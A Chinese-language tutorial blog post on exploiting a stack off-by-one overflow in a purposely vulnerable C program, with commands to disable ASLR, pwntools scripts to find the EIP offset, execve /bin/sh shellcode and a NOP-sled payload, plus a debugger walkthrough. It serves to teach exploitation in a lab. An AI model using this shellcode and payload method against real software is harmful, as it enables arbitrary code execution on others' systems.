articles
articles copied to clipboard
Linux off by one漏洞(基于栈)
Linux off by one(基于栈)
从理论上去考虑off by one比较难理解,解释多了越解释越糊涂,因为我搜了好几篇文章都没有搞明白,所以直接跟着做实验,看到效果之后再来理解原理,会好理解很多!
命令执行实验
实验环境:docker ubuntu:16.04,代码vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}
docker运行时记得添加--privileged=true
第一步关闭地址随机化,开启core转储
echo 0 > /proc/sys/kernel/randomize_va_space
ulimit -c unlimited
sh -c 'echo "/tmp/core" > /proc/sys/kernel/core_pattern'
因为我的是64位内核,所以默认拉取的是64位的docker镜像,所以编译这么写
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 -o vuln vuln.c
其中-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。 根据代码生成测试字符串,确定eip的偏移位置。
#encoding: utf-8
import os
print "exec start..."
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
os.system("./vuln " + payload)
print "exec done..."
运行一下,生成转储文件
利用pwndbg打开/tmp/core转储文件
eip转化为字符串或者使用我写的程序直接搜索
encoding:utf-8
import sys
from pwnlib.util.cyclic import cyclic, cyclic_find
def usage():
print """
====================================================
[*] python genseq.py s/g arg"
example:
generate: python genseq.py g 1000
search: python genseq.py s abcd
====================================================
"""
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
sys.exit(1)
op = sys.argv[1]
try:
if op == 'g':
gen_len = sys.argv[2]
print cyclic(int(gen_len))
elif op == 's':
search_ch = sys.argv[2]
if len(sys.argv[2]) > 4:
hex_ch = search_ch.decode('hex')[::-1]
print hex_ch
print cyclic_find(hex_ch)
else:
print cyclic_find(search_ch)
except Exception as ex:
print ex
usage()
结果
➜ test python genseq.py s 61616172
raaa
68
利用peda生成的shellcode,构造一个payload
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
测试代码
#encoding:utf-8
from pwn import *
from subprocess import call
ret_addr = p32(0xffffd508)
nop1 = '\x90' * 68
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
length = len(nop1 + ret_addr + shellcode)
nop2 = '\x90' * (256 - length)
payload = nop1 + ret_addr + shellcode + nop2
print "exec start..."
call(['./vuln', payload)
print "exec done..."
效果(不知道为什么无法显示命令字符串,只有结果,难道是因为docker的锅?),执行了whoami
和cat /etc/issue
成功命令执行,现在来好好理解一下这个原理!
off by one 原理
原理就是栈溢出,导致命令执行。现在来根据vuln.c
代码一点一点看。
程序整体的流程是这样的
main---> foo ---> bar --->strcpy
strcpy会将vuln的参数复制到buf所在内存中。 如果参数大于256,会直接退出执行;如果小于256,buf空间足够;问题出在正好是256上,就一个字节之差!造成off by one的原因就是这一个字节,因为256个字节的话,刚好放在buf空间上,但是strcpy最后会放置一个空字符在buf的最后,但是buf已经没有空间了,那只能溢出下一个字节的最后一个字节。形象一点应该是这样的
+------+
| | ret_addr
+------+
|xxxx00| ebp
+------+
| buf |
+------+
| buf |
+------+
| .... |
+------+
真正的调试一下看看是不是这样的
直接利用pwndbg调试,eip的偏移量会比在代码中运行要多,具体原因我也没找到。。。
strcpy之前设置断点
因为没有栈检查,栈中空间都存储的局部变量,局部变量如果溢出那么最开始影响的就是ebp的数据
注意ebp的地址和值,next下一步
ebp末尾一个字节变为0,产生了off by one溢出。接着执行到leave
leave指令相当于
leave => mov esp, ebp ;把ebp赋给esp
pop ebp ;弹出栈顶元素给ebp
转变一下
mov eap, ebp => esp=0xfffd550
pop ebp => ebp=(esp)=0xffffd500 esp=esp+4=0xffd554
调试验证
ret相当于pop eip
,栈顶中的元素为0x80484a6
,也就是foo+11
,要跳转到foo函数中执行,执行到这里我们可以发现,off by one并没有直接改变最近的跳转eip,而是在接下来中的操作改变的。
接着执行到foo中的leave
同样的
mov eap, ebp => esp=0xfffd500
pop ebp => ebp=(esp)=0x62616174 esp=esp+4=0xffd504
验证一下
ret会影响eip的值了!eip变为了0x62616175
到这里off by one形成的原因也就找到了!也可以通过改变eip的值达到任意代码执行了。
payload构造原理
payload构造主要就2点
- shellcode存储位置
- 找到eip
格式: nops1 + ret_addr + shellcode + nops2
+---------+
| |
+---------+
| |
+---------+
| | shellcode <----------+
+---------+ |
| | |
+---------+ |
| | |
+---------+ |
| | eip 跳转到shellcode---+
+---------+
| |
+---------+
| |
+---------+
eip我们通过上面的分析知道,可以通过字符串复制去覆盖。只要找到偏移量即可。上面实验已经找到了!
现在需要确定ret_addr,利用ret_addr去覆盖eip就可以实现跳转。我们通过上面的分析,最后异常的部分,ret => pop eip
弹出了esp栈顶元素,esp=esp+4。
esp上的数据都是复制的来的,并且位置固定。所以只要使用esp的地址即可。之后紧跟着shellcode,不满足256长度的部分,依旧使用\x90
填充。具体构造上面已经给出了,不再赘述。